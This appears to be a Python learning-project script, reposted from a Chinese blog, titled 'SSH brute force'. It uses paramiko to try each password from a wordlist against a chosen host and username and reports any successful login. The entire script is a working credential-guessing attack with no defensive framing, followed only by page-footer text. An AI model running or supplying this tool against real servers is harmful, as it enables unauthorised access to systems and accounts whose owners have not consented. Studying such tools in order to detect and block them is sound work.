#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@Project :python-learn
@File :ssh爆破.py
@Author :星之尘
@Date :2023/6/14 19:02
@脚本说明:
"""
import paramiko
def ssh_brute_force(hostname, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=hostname, username=username, password=password)
print(f"成功登录 - 主机名:{hostname},用户名:{username},密码:{password}")
except paramiko.AuthenticationException:
print(f"登录失败 - 主机名:{hostname},用户名:{username},密码:{password}")
except paramiko.SSHException as e:
print(f"SSH错误:{str(e)}")
finally:
ssh.close()
def ssh_blow_up_main():
hostname = input("请输入目标主机名或IP地址:")
username = input("请输入用户名:")
password_file = input("请输入密码文件的路径:")
with open(password_file, 'r') as file:
for password in file:
password = password.strip()
ssh_brute_force(hostname, username, password)
if __name__ == "__main__":
ssh_blow_up_main()
ssh爆破python脚本
猜你喜欢
转载自blog.csdn.net/m0_73896875/article/details/131579844
今日推荐
周排行